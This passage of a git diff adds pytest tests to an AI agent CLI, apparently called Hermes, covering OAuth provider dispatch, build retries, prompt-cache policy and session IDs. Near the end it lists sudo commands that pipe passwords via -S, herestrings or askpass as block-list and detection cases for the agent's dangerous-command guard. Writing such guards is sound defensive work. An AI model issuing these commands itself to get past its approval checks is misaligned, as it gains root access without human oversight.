OAuth. + +These tests pin the corrected behavior. +""" +import time +from datetime import datetime, timezone +from unittest.mock import patch + +import pytest +from fastapi.testclient import TestClient + +from hermes_cli.web_server import _SESSION_TOKEN, app + +client = TestClient(app) +HEADERS = {"X-Hermes-Session-Token": _SESSION_TOKEN} + + +def test_minimax_login_does_not_launch_anthropic_flow(): + """Click 'Login' on MiniMax → MUST NOT return claude.ai auth_url.""" + fake_user_code_resp = { + "user_code": "ABCD-1234", + "verification_uri": "https://api.minimax.io/oauth/verify", + # `expired_in` < 1e12 so the heuristic treats it as seconds. + "expired_in": 600, + "interval": 2000, + "state": "stub-state", + } + with patch( + "hermes_cli.auth._minimax_request_user_code", + return_value=fake_user_code_resp, + ), patch( + "hermes_cli.auth._minimax_pkce_pair", + return_value=("verifier-stub", "challenge-stub", "stub-state"), + ): + resp = client.post( + "/api/providers/oauth/minimax-oauth/start", + headers=HEADERS, + ) + + assert resp.status_code == 200, resp.text + body = resp.json() + + # The bug used to return Anthropic's auth_url — make sure the response + # references neither the auth_url field nor anything Claude-related. + assert "auth_url" not in body + assert "claude.ai" not in str(body).lower() + + # And the response IS the device-code shape pointing at MiniMax. + assert body["flow"] == "device_code" + assert "minimax" in body["verification_url"].lower() + assert body["user_code"] == "ABCD-1234" + assert body["expires_in"] == 600 + + +def test_minimax_dashboard_poller_accepts_absolute_ms_expired_in(): + """Dashboard MiniMax completion must accept unix-ms token expiry values.""" + from hermes_cli import web_server as ws + + now = datetime.now(timezone.utc) + abs_ms = int((now.timestamp() + 1800) * 1000) + session_id = "minimax-absolute-ms-test" + ws._oauth_sessions[session_id] = { + "session_id": session_id, + "provider": "minimax-oauth", + "flow": "device_code", + "created_at": time.time(), + "status": "pending", + "error_message": None, + "portal_base_url": "https://api.minimax.io", + "client_id": "client-id", + "user_code": "ABCD-1234", + "code_verifier": "verifier", + "interval_ms": 2000, + "expired_in_raw": abs_ms, + "region": "global", + } + captured_state = {} + + try: + with patch( + "hermes_cli.auth._minimax_poll_token", + return_value={ + "status": "success", + "access_token": "access", + "refresh_token": "refresh", + "expired_in": abs_ms, + "token_type": "Bearer", + }, + ), patch( + "hermes_cli.auth._minimax_save_auth_state", + side_effect=lambda state: captured_state.update(state), + ): + ws._minimax_poller(session_id) + finally: + ws._oauth_sessions.pop(session_id, None) + + assert captured_state["access_token"] == "access" + assert 1790 <= captured_state["expires_in"] <= 1810 + assert datetime.fromisoformat(captured_state["expires_at"]).year < 9999 + + +def test_anthropic_pkce_branch_still_works(): + """Sanity: the dispatcher tightening doesn't break the legitimate Anthropic PKCE path.""" + fake_anthropic_response = { + "session_id": "stub-session", + "flow": "pkce", + "auth_url": "https://claude.ai/oauth/authorize?code=true&...", + "expires_in": 600, + } + with patch( + "hermes_cli.web_server._start_anthropic_pkce", + return_value=fake_anthropic_response, + ): + resp = client.post( + "/api/providers/oauth/anthropic/start", + headers=HEADERS, + ) + + assert resp.status_code == 200, resp.text + body = resp.json() + assert body["flow"] == "pkce" + assert "claude.ai" in body["auth_url"] + + +def test_unknown_pkce_provider_rejected_cleanly(): + """A future PKCE provider without an explicit branch must NOT silently route to Anthropic. + + Simulates a hypothetical catalog entry with ``flow: "pkce"`` and an + id other than "anthropic". The dispatcher should fall through past + the pkce branch (now gated on provider_id) and the device_code + branch, then hit "Unsupported flow" — proving the bug class is + structurally prevented. + """ + from hermes_cli import web_server as ws + + # Inject a hypothetical catalog entry that's pkce-flagged but isn't + # anthropic. This shape mirrors what would happen if a developer + # added a new provider entry without remembering to wire up its + # start function. + fake_entry = { + "id": "hypothetical-pkce-provider", + "name": "Hypothetical PKCE Provider", + "flow": "pkce", + "cli_command": "hermes auth add hypothetical-pkce-provider", + "docs_url": "https://example.com", + "status_fn": None, + } + original_catalog = ws._OAUTH_PROVIDER_CATALOG + try: + ws._OAUTH_PROVIDER_CATALOG = original_catalog + (fake_entry,) + resp = client.post( + "/api/providers/oauth/hypothetical-pkce-provider/start", + headers=HEADERS, + ) + finally: + ws._OAUTH_PROVIDER_CATALOG = original_catalog + + # Either 400 "Unsupported flow" (the explicit fall-through) or any + # 4xx — what we MUST NOT see is a 200 with claude.ai in the body. + assert resp.status_code >= 400, resp.text + assert "claude.ai" not in resp.text.lower() diff --git a/tests/hermes_cli/test_web_ui_build.py b/tests/hermes_cli/test_web_ui_build.py index 47d3bb95a447..6400075b8618 100644 --- a/tests/hermes_cli/test_web_ui_build.py +++ b/tests/hermes_cli/test_web_ui_build.py @@ -13,7 +13,7 @@ import pytest -from hermes_cli.main import _web_ui_build_needed, _build_web_ui +from hermes_cli.main import _web_ui_build_needed, _build_web_ui, _run_npm_install_deterministic def _touch(path: Path, offset: float = 0.0) -> None: @@ -119,3 +119,92 @@ def test_runs_npm_when_dist_missing(self, tmp_path): assert result is True assert mock_run.call_count == 2 # npm install + npm run build + + def test_npm_install_uses_utf8_replace_output_decoding(self, tmp_path): + web_dir, _ = _make_web_dir(tmp_path) + (web_dir / "package-lock.json").write_text("{}", encoding="utf-8") + + mock_cp = __import__("subprocess").CompletedProcess([], 0, stdout="", stderr="") + with patch("hermes_cli.main.subprocess.run", return_value=mock_cp) as mock_run: + result = _run_npm_install_deterministic("/usr/bin/npm", web_dir) + + assert result.returncode == 0 + _, kwargs = mock_run.call_args + assert kwargs["text"] is True + assert kwargs["encoding"] == "utf-8" + assert kwargs["errors"] == "replace" + + def test_web_build_uses_utf8_replace_output_decoding(self, tmp_path): + web_dir, _ = _make_web_dir(tmp_path) + + mock_cp = __import__("subprocess").CompletedProcess([], 0, stdout="", stderr="") + with patch("hermes_cli.main.shutil.which", return_value="/usr/bin/npm"), \ + patch("hermes_cli.main.subprocess.run", side_effect=[mock_cp, mock_cp]) as mock_run: + result = _build_web_ui(web_dir) + + assert result is True + _, build_kwargs = mock_run.call_args_list[1] + assert build_kwargs["text"] is True + assert build_kwargs["encoding"] == "utf-8" + assert build_kwargs["errors"] == "replace" + + +class TestBuildWebUIRetryAndStaleFallback: + """Coverage for the retry + stale-dist fallback added in #23824 / issue #23817.""" + + def test_retries_build_once_on_failure(self, tmp_path): + web_dir, _ = _make_web_dir(tmp_path) + Subprocess = __import__("subprocess") + # install: success; build attempt 1: fail; build attempt 2: success + install_ok = Subprocess.CompletedProcess([], 0, stdout="", stderr="") + build_fail = Subprocess.CompletedProcess([], 1, stdout="", stderr="EPERM") + build_ok = Subprocess.CompletedProcess([], 0, stdout="", stderr="") + with patch("hermes_cli.main.shutil.which", return_value="/usr/bin/npm"), \ + patch("hermes_cli.main._time.sleep") as mock_sleep, \ + patch("hermes_cli.main.subprocess.run", + side_effect=[install_ok, build_fail, build_ok]) as mock_run: + result = _build_web_ui(web_dir) + + assert result is True + assert mock_run.call_count == 3 # install + build + retry + mock_sleep.assert_called_once_with(3) + + def test_falls_back_to_stale_dist_when_retry_also_fails(self, tmp_path, capsys): + web_dir, dist_dir = _make_web_dir(tmp_path) + # Stale dist exists but is older than source + _touch(dist_dir / "index.html", offset=-100) + _touch(web_dir / "src" / "App.tsx") # newer source -> build_needed=True + + Subprocess = __import__("subprocess") + install_ok = Subprocess.CompletedProcess([], 0, stdout="", stderr="") + build_fail = Subprocess.CompletedProcess([], 1, stdout="", stderr="vite ENOMEM") + with patch("hermes_cli.main.shutil.which", return_value="/usr/bin/npm"), \ + patch("hermes_cli.main._time.sleep"), \ + patch("hermes_cli.main.subprocess.run", + side_effect=[install_ok, build_fail, build_fail]): + result = _build_web_ui(web_dir, fatal=True) + + # MUST return True (serve stale) — issue #23817 — even with fatal=True, + # because cmd_dashboard passes fatal=True and is the primary caller. + assert result is True + out = capsys.readouterr().out + assert "serving stale dist as fallback" in out + assert "vite ENOMEM" in out # stderr surfaced to user + + def test_hard_fails_when_no_dist_to_fall_back_to(self, tmp_path, capsys): + web_dir, _ = _make_web_dir(tmp_path) + + Subprocess = __import__("subprocess") + install_ok = Subprocess.CompletedProcess([], 0, stdout="", stderr="") + build_fail = Subprocess.CompletedProcess([], 1, stdout="", stderr="vite ENOMEM") + with patch("hermes_cli.main.shutil.which", return_value="/usr/bin/npm"), \ + patch("hermes_cli.main._time.sleep"), \ + patch("hermes_cli.main.subprocess.run", + side_effect=[install_ok, build_fail, build_fail]): + result = _build_web_ui(web_dir, fatal=True) + + assert result is False + out = capsys.readouterr().out + assert "Web UI build failed" in out + assert "vite ENOMEM" in out + assert "Run manually" in out diff --git a/tests/run_agent/test_anthropic_prompt_cache_policy.py b/tests/run_agent/test_anthropic_prompt_cache_policy.py index b8a380a62e7f..15d1cb4e87aa 100644 --- a/tests/run_agent/test_anthropic_prompt_cache_policy.py +++ b/tests/run_agent/test_anthropic_prompt_cache_policy.py @@ -257,6 +257,40 @@ def test_qwen_on_openrouter_not_affected(self): ) assert agent._anthropic_prompt_cache_policy() == (False, False) + def test_qwen_on_nous_portal_caches_with_envelope_layout(self): + # Nous Portal Qwen takes the same envelope-layout cache_control + # path as Portal Claude. Without this, Portal-routed qwen3.6-plus + # falls through to the alibaba-family check (which only matches + # provider=opencode/alibaba) and serves 0% cache hits. + agent = _make_agent( + provider="nous", + base_url="https://inference-api.nousresearch.com/v1", + api_mode="chat_completions", + model="qwen3.6-plus", + ) + assert agent._anthropic_prompt_cache_policy() == (True, False) + + def test_qwen_vendored_slug_on_nous_portal_caches(self): + # Same path but with the vendored slug form Portal sometimes uses. + agent = _make_agent( + provider="nous", + base_url="https://inference-api.nousresearch.com/v1", + api_mode="chat_completions", + model="qwen/qwen3.6-plus", + ) + assert agent._anthropic_prompt_cache_policy() == (True, False) + + def test_non_qwen_non_claude_on_nous_portal_does_not_cache(self): + # Portal scope is narrow: Claude OR Qwen only. Other models + # routed through Portal keep their existing fall-through behavior. + agent = _make_agent( + provider="nous", + base_url="https://inference-api.nousresearch.com/v1", + api_mode="chat_completions", + model="openai/gpt-5.4", + ) + assert agent._anthropic_prompt_cache_policy() == (False, False) + class TestExplicitOverrides: """Policy accepts keyword overrides for switch_model / fallback activation.""" @@ -290,3 +324,133 @@ def test_fallback_target_evaluated_independently(self): model="anthropic/claude-sonnet-4.6", ) assert (should, native) == (True, False) + + +# ───────────────────────────────────────────────────────────────────── +# Long-lived prefix cache policy (cross-session 1h tier) +# ───────────────────────────────────────────────────────────────────── + +class TestSupportsLongLivedAnthropicCache: + """Narrower than _anthropic_prompt_cache_policy — only Claude on the 4 + explicitly-validated endpoints get the long-lived layout.""" + + def test_native_anthropic_claude_supported(self): + agent = _make_agent( + provider="anthropic", + base_url="https://api.anthropic.com", + api_mode="anthropic_messages", + model="claude-sonnet-4.6", + ) + assert agent._supports_long_lived_anthropic_cache() is True + + def test_anthropic_oauth_supported(self): + # OAuth uses the same transport as native Anthropic + agent = _make_agent( + provider="anthropic", + base_url="https://api.anthropic.com", + api_mode="anthropic_messages", + model="claude-opus-4.6", + ) + assert agent._supports_long_lived_anthropic_cache() is True + + def test_openrouter_claude_supported(self): + agent = _make_agent( + provider="openrouter", + base_url="https://openrouter.ai/api/v1", + api_mode="chat_completions", + model="anthropic/claude-sonnet-4.6", + ) + assert agent._supports_long_lived_anthropic_cache() is True + + def test_nous_portal_claude_supported(self): + # Nous Portal proxies to OpenRouter — same wire format + agent = _make_agent( + provider="nous", + base_url="https://inference-api.nousresearch.com/v1", + api_mode="chat_completions", + model="anthropic/claude-opus-4.7", + ) + assert agent._supports_long_lived_anthropic_cache() is True + + def test_nous_portal_qwen_supported(self): + # Portal Qwen rides the same OpenRouter-equivalent transport as + # Portal Claude; long-lived (1h cross-session) cache_control + # markers apply identically. + agent = _make_agent( + provider="nous", + base_url="https://inference-api.nousresearch.com/v1", + api_mode="chat_completions", + model="qwen3.6-plus", + ) + assert agent._supports_long_lived_anthropic_cache() is True + + def test_nous_portal_qwen_vendored_slug_supported(self): + agent = _make_agent( + provider="nous", + base_url="https://inference-api.nousresearch.com/v1", + api_mode="chat_completions", + model="qwen/qwen3.6-plus", + ) + assert agent._supports_long_lived_anthropic_cache() is True + + def test_nous_portal_non_claude_non_qwen_rejected(self): + # Portal long-lived cache scope mirrors policy: Claude or Qwen only. + agent = _make_agent( + provider="nous", + base_url="https://inference-api.nousresearch.com/v1", + api_mode="chat_completions", + model="openai/gpt-5.4", + ) + assert agent._supports_long_lived_anthropic_cache() is False + + def test_openrouter_non_claude_rejected(self): + agent = _make_agent( + provider="openrouter", + base_url="https://openrouter.ai/api/v1", + api_mode="chat_completions", + model="openai/gpt-5.4", + ) + assert agent._supports_long_lived_anthropic_cache() is False + + def test_third_party_anthropic_gateway_rejected(self): + # MiniMax / Kimi / etc. — anthropic-wire but not in our validated list + agent = _make_agent( + provider="minimax", + base_url="https://api.minimax.io/anthropic", + api_mode="anthropic_messages", + model="minimax-m2.7", + ) + assert agent._supports_long_lived_anthropic_cache() is False + + def test_alibaba_dashscope_rejected(self): + agent = _make_agent( + provider="alibaba", + base_url="https://dashscope.aliyuncs.com/api/v1/anthropic", + api_mode="anthropic_messages", + model="qwen3.5-plus", + ) + assert agent._supports_long_lived_anthropic_cache() is False + + def test_opencode_qwen_rejected(self): + agent = _make_agent( + provider="opencode-go", + base_url="https://api.opencode-go.example/v1", + api_mode="chat_completions", + model="qwen3.6-plus", + ) + assert agent._supports_long_lived_anthropic_cache() is False + + def test_fallback_target_evaluated_independently(self): + # Starting on a non-supported provider, falling back to OpenRouter Claude + agent = _make_agent( + provider="minimax", + base_url="https://api.minimax.io/anthropic", + api_mode="anthropic_messages", + model="minimax-m2.7", + ) + assert agent._supports_long_lived_anthropic_cache( + provider="openrouter", + base_url="https://openrouter.ai/api/v1", + api_mode="chat_completions", + model="anthropic/claude-sonnet-4.6", + ) is True diff --git a/tests/run_agent/test_image_rejection_fallback.py b/tests/run_agent/test_image_rejection_fallback.py index e52719d9742c..d1d6c7ff0284 100644 --- a/tests/run_agent/test_image_rejection_fallback.py +++ b/tests/run_agent/test_image_rejection_fallback.py @@ -194,6 +194,7 @@ class TestImageRejectionPhraseIsolation: "does not support multimodal", "does not support vision", "model does not support image", + "image_url'. expected", ) def _matches(self, body: str) -> bool: @@ -238,6 +239,29 @@ def test_real_image_rejection_bodies_trip(self): "This model does not support images", "vision is not supported on this endpoint", "model does not support image input", + # ChatGPT-account Codex backend (issue #23570) — rejects + # data:image/...base64 URLs in input_image fields. Without this + # match the agent cascaded into compression / context-too-large + # recovery instead of just stripping the images. + "Invalid 'input[56].content[1].image_url'. Expected a valid URL, but got a value with an invalid format.", ] for body in bodies: assert self._matches(body) is True, f"false negative on: {body}" + + def test_codex_data_url_rejection_does_not_false_match_other_url_errors(self): + """The narrow 'image_url'. expected' phrase (keyed on the + field-path apostrophe used in the Codex Responses error format) + must NOT trip on URL validation errors that aren't about + image_url specifically. See issue #23570 for the original error. + """ + bodies = [ + # Generic URL validation errors — should NOT trip + "Invalid webhook_url. Must be a valid URL.", + "Expected a valid URL but got an empty string.", + "redirect_uri does not look like a valid URL.", + # An image_url error worded differently — also should not trip + # the narrow phrase (a separate phrase would be needed) + "image_url field cannot be empty", + ] + for body in bodies: + assert self._matches(body) is False, f"false positive on: {body}" diff --git a/tests/run_agent/test_run_agent.py b/tests/run_agent/test_run_agent.py index 5bc485e0711c..dadb7b31ccee 100644 --- a/tests/run_agent/test_run_agent.py +++ b/tests/run_agent/test_run_agent.py @@ -3344,6 +3344,88 @@ def test_truncated_tool_args_detected_when_finish_reason_not_length(self, agent) assert "truncated due to output length limit" in result["error"] mock_handle_function_call.assert_not_called() + def test_kanban_block_called_on_iteration_exhaustion(self, agent, monkeypatch): + """Regression: kanban worker must call kanban_block when iteration + budget is exhausted, otherwise the dispatcher sees a protocol + violation and gives up after 1 failure (issue #23216).""" + self._setup_agent(agent) + agent.max_iterations = 2 + + monkeypatch.setenv("HERMES_KANBAN_TASK", "t_test_task_123") + + # Return a tool call for every iteration to exhaust the budget. + tc = _mock_tool_call(name="web_search", arguments="{}", call_id="c1") + tool_resp = _mock_response( + content="", finish_reason="tool_calls", tool_calls=[tc], + ) + # Final summary response from _handle_max_iterations. + summary_resp = _mock_response( + content="Could not finish — budget exhausted.", finish_reason="stop", + ) + agent.client.chat.completions.create.side_effect = [ + tool_resp, tool_resp, summary_resp, + ] + + with ( + patch("run_agent.handle_function_call", return_value="ok") as mock_hfc, + patch.object(agent, "_persist_session"), + patch.object(agent, "_save_trajectory"), + patch.object(agent, "_cleanup_task_resources"), + ): + result = agent.run_conversation("do the kanban work") + + # The agent should have reported the task as not completed. + assert result["completed"] is False + + # Among all handle_function_call invocations, one must be + # kanban_block with the correct task_id and a reason mentioning + # iteration exhaustion. + kanban_block_calls = [ + c for c in mock_hfc.call_args_list + if c[0][0] == "kanban_block" + ] + assert len(kanban_block_calls) == 1, ( + f"Expected exactly 1 kanban_block call, got {len(kanban_block_calls)}. " + f"All calls: {mock_hfc.call_args_list}" + ) + call = kanban_block_calls[0] + assert call[0][1]["task_id"] == "t_test_task_123" + assert "Iteration budget exhausted" in call[0][1]["reason"] + + def test_no_kanban_block_when_not_in_kanban_mode(self, agent, monkeypatch): + """kanban_block must NOT be called when HERMES_KANBAN_TASK is unset.""" + self._setup_agent(agent) + agent.max_iterations = 2 + + monkeypatch.delenv("HERMES_KANBAN_TASK", raising=False) + + tc = _mock_tool_call(name="web_search", arguments="{}", call_id="c1") + tool_resp = _mock_response( + content="", finish_reason="tool_calls", tool_calls=[tc], + ) + summary_resp = _mock_response( + content="Summary.", finish_reason="stop", + ) + agent.client.chat.completions.create.side_effect = [ + tool_resp, tool_resp, summary_resp, + ] + + with ( + patch("run_agent.handle_function_call", return_value="ok") as mock_hfc, + patch.object(agent, "_persist_session"), + patch.object(agent, "_save_trajectory"), + patch.object(agent, "_cleanup_task_resources"), + ): + agent.run_conversation("do stuff") + + kanban_block_calls = [ + c for c in mock_hfc.call_args_list + if c[0][0] == "kanban_block" + ] + assert len(kanban_block_calls) == 0, ( + "kanban_block should not be called outside kanban mode" + ) + class TestRetryExhaustion: """Regression: retry_count > max_retries was dead code (off-by-one). diff --git a/tests/run_agent/test_session_id_env.py b/tests/run_agent/test_session_id_env.py new file mode 100644 index 000000000000..73fd11890cca --- /dev/null +++ b/tests/run_agent/test_session_id_env.py @@ -0,0 +1,61 @@ +"""Test that HERMES_SESSION_ID is exposed as an env var and ContextVar.""" + +import os +import sys + +import pytest + +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "../..")) + +from run_agent import AIAgent + + +@pytest.fixture(autouse=True) +def _cleanup_env(): + """Remove HERMES_SESSION_ID before/after each test.""" + os.environ.pop("HERMES_SESSION_ID", None) + yield + os.environ.pop("HERMES_SESSION_ID", None) + + +def test_session_id_env_set_on_init(): + """AIAgent.__init__ sets HERMES_SESSION_ID in the environment.""" + agent = AIAgent( + api_key="test-key", + base_url="https://openrouter.ai/api/v1", + quiet_mode=True, + skip_context_files=True, + skip_memory=True, + ) + assert os.environ.get("HERMES_SESSION_ID") == agent.session_id + assert len(agent.session_id) > 0 + + +def test_session_id_env_uses_provided_id(): + """When session_id is passed explicitly, HERMES_SESSION_ID reflects it.""" + custom_id = "20260511_120000_abc12345" + agent = AIAgent( + api_key="test-key", + base_url="https://openrouter.ai/api/v1", + session_id=custom_id, + quiet_mode=True, + skip_context_files=True, + skip_memory=True, + ) + assert os.environ["HERMES_SESSION_ID"] == custom_id + assert agent.session_id == custom_id + + +def test_session_id_contextvar_set(): + """AIAgent.__init__ also sets the ContextVar for concurrency safety.""" + custom_id = "20260511_130000_def67890" + AIAgent( + api_key="test-key", + base_url="https://openrouter.ai/api/v1", + session_id=custom_id, + quiet_mode=True, + skip_context_files=True, + skip_memory=True, + ) + from gateway.session_context import get_session_env + assert get_session_env("HERMES_SESSION_ID") == custom_id diff --git a/tests/test_minimax_oauth.py b/tests/test_minimax_oauth.py index 0e63800e9179..f5ac4e28c627 100644 --- a/tests/test_minimax_oauth.py +++ b/tests/test_minimax_oauth.py @@ -32,9 +32,11 @@ _minimax_pkce_pair, _minimax_request_user_code, _minimax_poll_token, + _minimax_resolve_token_expiry_unix, _refresh_minimax_oauth_state, resolve_minimax_oauth_runtime_credentials, get_minimax_oauth_auth_status, + get_auth_status, get_provider_auth_state, ) @@ -67,6 +69,23 @@ def _past_iso(seconds_ago: int = 3600) -> str: return datetime.fromtimestamp(ts, tz=timezone.utc).isoformat() +# --------------------------------------------------------------------------- +# 0. test_resolve_token_expiry_unix_ttl_vs_absolute_ms +# --------------------------------------------------------------------------- + +def test_resolve_token_expiry_unix_ttl_seconds(): + now = datetime(2025, 6, 1, 12, 0, 0, tzinfo=timezone.utc) + got = _minimax_resolve_token_expiry_unix(3600, now=now) + assert abs(got - (now.timestamp() + 3600)) < 0.01 + + +def test_resolve_token_expiry_unix_absolute_ms(): + now = datetime(2025, 6, 1, 12, 0, 0, tzinfo=timezone.utc) + abs_ms = int((now.timestamp() + 7200) * 1000) + got = _minimax_resolve_token_expiry_unix(abs_ms, now=now) + assert abs(got - (now.timestamp() + 7200)) < 0.01 + + # --------------------------------------------------------------------------- # 1. test_pkce_pair_produces_valid_s256 # --------------------------------------------------------------------------- @@ -362,6 +381,46 @@ def test_refresh_updates_access_token(): assert result["expires_in"] == 7200 +def test_refresh_updates_access_token_absolute_ms_expired_in(): + """Refresh payload may use unix-ms absolute ``expired_in`` (same as device-code).""" + now0 = datetime.now(timezone.utc) + abs_ms = int((now0.timestamp() + 1800) * 1000) + + state = { + "access_token": "old-access", + "refresh_token": "my-refresh", + "portal_base_url": MINIMAX_OAUTH_GLOBAL_BASE, + "client_id": MINIMAX_OAUTH_CLIENT_ID, + "inference_base_url": MINIMAX_OAUTH_GLOBAL_INFERENCE, + "expires_at": _future_iso(MINIMAX_OAUTH_REFRESH_SKEW_SECONDS - 1), + } + + new_token_body = { + "status": "success", + "access_token": "new-access", + "refresh_token": "new-refresh", + "expired_in": abs_ms, + } + + mock_resp = _make_httpx_response(200, new_token_body) + + with patch("httpx.Client") as mock_client_class: + mock_client_instance = MagicMock() + mock_client_instance.__enter__ = MagicMock(return_value=mock_client_instance) + mock_client_instance.__exit__ = MagicMock(return_value=False) + mock_client_instance.post.return_value = mock_resp + mock_client_class.return_value = mock_client_instance + + with patch("hermes_cli.auth._minimax_save_auth_state"): + result = _refresh_minimax_oauth_state(state) + + assert result["access_token"] == "new-access" + assert 1790 <= result["expires_in"] <= 1810 + exp = datetime.fromisoformat(result["expires_at"].replace("Z", "+00:00")) + skew = exp.timestamp() - datetime.now(timezone.utc).timestamp() + assert 1790 <= skew <= 1810 + + # --------------------------------------------------------------------------- # 10. test_refresh_reuse_triggers_relogin_required # --------------------------------------------------------------------------- @@ -464,3 +523,18 @@ def test_get_minimax_oauth_auth_status_logged_in(): assert status["logged_in"] is True assert status["region"] == "global" + + +def test_generic_auth_status_dispatches_minimax_oauth(): + state = { + "access_token": "tok", + "expires_at": _future_iso(3600), + "region": "global", + } + + with patch("hermes_cli.auth.get_provider_auth_state", return_value=state): + status = get_auth_status("minimax-oauth") + + assert status["logged_in"] is True + assert status["provider"] == "minimax-oauth" + assert status["region"] == "global" diff --git a/tests/tools/test_approval.py b/tests/tools/test_approval.py index 77ca3550d3aa..7ec2d5868f15 100644 --- a/tests/tools/test_approval.py +++ b/tests/tools/test_approval.py @@ -965,3 +965,140 @@ def cb(command, description, **kwargs): assert result == "once" finally: ptc.get_app_or_none = orig + + +class TestDetectSudoStdin: + """Sudo with stdin / askpass / shell / list-privileges flags (#17873 cat 4). + + An LLM-driven agent has no TTY, so the sudo invocations that succeed + without human interaction are those reading the password from stdin + (-S / --stdin) or via an askpass helper (-A / --askpass). The + shell-launch (-s) and list-privileges (-a) flags are also gated since + they are privilege-relevant invocations the agent can chain after + acquiring the password. + + `_normalize_command_for_detection` lowercases input before pattern + matching, so -S/-s and -A/-a are indistinguishable at the regex + layer; both letter-pairs are gated. + """ + + # Positive cases (must match) + + def test_canonical_pipe_to_sudo_S_detected(self): + is_dangerous, _, desc = detect_dangerous_command( + "echo pwd | sudo -S whoami" + ) + assert is_dangerous is True + assert "sudo" in desc.lower() + + def test_long_flag_stdin_detected(self): + is_dangerous, _, _ = detect_dangerous_command("sudo --stdin id") + assert is_dangerous is True + + def test_non_interactive_plus_stdin_detected(self): + is_dangerous, _, _ = detect_dangerous_command("sudo -n -S id") + assert is_dangerous is True + + def test_user_then_stdin_detected(self): + # Codex audit caught that the original "leading flags only" regex + # missed this form because `-u root` has a flag-argument (`root`) + # that broke the (?:\s+-[^\s]+)* loop. The lazy [^;|&\n]*? class + # consumes flag-args without spanning command separators. + is_dangerous, _, _ = detect_dangerous_command( + "sudo -u root -S whoami" + ) + assert is_dangerous is True + + def test_long_non_interactive_plus_stdin_detected(self): + is_dangerous, _, _ = detect_dangerous_command( + "sudo --non-interactive -S whoami" + ) + assert is_dangerous is True + + def test_long_user_equals_stdin_detected(self): + is_dangerous, _, _ = detect_dangerous_command( + "sudo --user=root -S id" + ) + assert is_dangerous is True + + def test_herestring_input_detected(self): + is_dangerous, _, _ = detect_dangerous_command( + "sudo -S id <<< 'mypwd'" + ) + assert is_dangerous is True + + def test_combined_short_flags_nS_detected(self): + # `-nS` packs `-n` and `-S` into one arg; second pattern catches. + is_dangerous, _, _ = detect_dangerous_command("sudo -nS id") + assert is_dangerous is True + + def test_printf_form_detected(self): + is_dangerous, _, _ = detect_dangerous_command( + 'printf "%s\\n" "$PW" | sudo -S id' + ) + assert is_dangerous is True + + def test_askpass_short_flag_detected(self): + is_dangerous, _, _ = detect_dangerous_command("sudo -A id") + assert is_dangerous is True + + def test_askpass_long_flag_detected(self): + is_dangerous, _, _ = detect_dangerous_command("sudo --askpass id") + assert is_dangerous is True + + def test_two_sudo_invocations_second_caught(self): + # The first sudo here is benign (no -S); the second has -S. + # Lazy [^;|&\n]*? does NOT span past `;`, so re.search anchors + # on the second sudo invocation independently. + is_dangerous, _, _ = detect_dangerous_command( + "sudo whoami; sudo -S id" + ) + assert is_dangerous is True + + # Negative cases (must NOT match) + + def test_plain_sudo_safe(self): + is_dangerous, _, _ = detect_dangerous_command("sudo whoami") + assert is_dangerous is False + + def test_sudo_interactive_shell_safe(self): + is_dangerous, _, _ = detect_dangerous_command("sudo -i") + assert is_dangerous is False + + def test_sudo_with_user_no_stdin_flag_safe(self): + is_dangerous, _, _ = detect_dangerous_command("sudo -u root -i") + assert is_dangerous is False + + def test_man_sudo_safe(self): + is_dangerous, _, _ = detect_dangerous_command("man sudo") + assert is_dangerous is False + + def test_which_sudo_safe(self): + is_dangerous, _, _ = detect_dangerous_command("which sudo") + assert is_dangerous is False + + def test_sudo_user_env_reference_safe(self): + is_dangerous, _, _ = detect_dangerous_command( + "echo SUDO_USER=$SUDO_USER" + ) + assert is_dangerous is False + + def test_apt_install_sudo_safe(self): + is_dangerous, _, _ = detect_dangerous_command("apt install sudo") + assert is_dangerous is False + + def test_ls_etc_sudoers_safe(self): + is_dangerous, _, _ = detect_dangerous_command("ls /etc/sudoers") + assert is_dangerous is False + + def test_pseudosudo_safe_word_boundary(self): + # `\bsudo\b` requires a word boundary; `pseudosudo` has none + # before `sudo`, so should not trigger. + is_dangerous, _, _ = detect_dangerous_command("pseudosudo -S id") + assert is_dangerous is False + + def test_unrelated_redirection_safe(self): + is_dangerous, _, _ = detect_dangerous_command( + "make 2>&1 | tee build.log" + ) + assert is_dangerous is False diff --git a/tests/tools/test_hardline_blocklist.py b/tests/tools/test_hardline_blocklist.py index a3a08cd464a4..16b88ac1801a 100644 --- a/tests/tools/test_hardline_blocklist.py +++ b/tests/tools/test_hardline_blocklist.py @@ -288,3 +288,91 @@ def test_hardline_list_is_small(): f"HARDLINE_PATTERNS has grown to {len(HARDLINE_PATTERNS)} entries; " "only truly unrecoverable commands belong here." ) + + +# ========================================================================= +# Sudo stdin guard — blocks "sudo -S" without SUDO_PASSWORD +# ========================================================================= + +_SUDO_STDIN_BLOCK = [ + "sudo -S whoami", + "echo hunter2 | sudo -S whoami", + "sudo -S -u root whoami", + "sudo -S apt-get install foo", + "echo password | sudo -S systemctl restart nginx", + "sudo -k && sudo -S whoami", +] + +_SUDO_STDIN_ALLOW = [ + # Plain sudo without -S — goes through normal approval + "sudo whoami", + "sudo apt-get update", + "sudo -u root whoami", + # -S flag not attached to sudo + "echo -S hello", + "some_tool -S thing", + # Literal text mention of sudo + "echo 'use sudo -S to pipe passwords'", +] + +_SUDO_STDIN_BLOCK_YOLO = [ + "sudo -S whoami", + "echo hunter2 | sudo -S apt-get install", +] + + +def test_sudo_stdin_guard_detects_without_password(): + """sudo -S is dangerous when SUDO_PASSWORD is not configured.""" + import tools.approval as approval_mod + + for cmd in _SUDO_STDIN_BLOCK: + is_blocked, desc = approval_mod._check_sudo_stdin_guard(cmd) + assert is_blocked, f"expected sudo stdin guard to block {cmd!r}" + assert "sudo" in desc.lower() + + +def test_sudo_stdin_guard_allows_benign_commands(): + """Commands without explicit sudo -S are not blocked.""" + import tools.approval as approval_mod + + for cmd in _SUDO_STDIN_ALLOW: + is_blocked, desc = approval_mod._check_sudo_stdin_guard(cmd) + assert not is_blocked, f"expected sudo stdin guard NOT to block {cmd!r}" + + +def test_sudo_stdin_guard_bypassed_when_password_configured(monkeypatch): + """When SUDO_PASSWORD is set, sudo -S is legitimate (injected by transform).""" + import tools.approval as approval_mod + + monkeypatch.setenv("SUDO_PASSWORD", "testpass") + for cmd in _SUDO_STDIN_BLOCK: + is_blocked, _ = approval_mod._check_sudo_stdin_guard(cmd) + assert not is_blocked, f"with SUDO_PASSWORD set, {cmd!r} should NOT be blocked" + + +def test_sudo_stdin_guard_blocks_via_check_all_command_guards(clean_session): + """Integration: check_all_command_guards returns block for sudo -S.""" + for cmd in 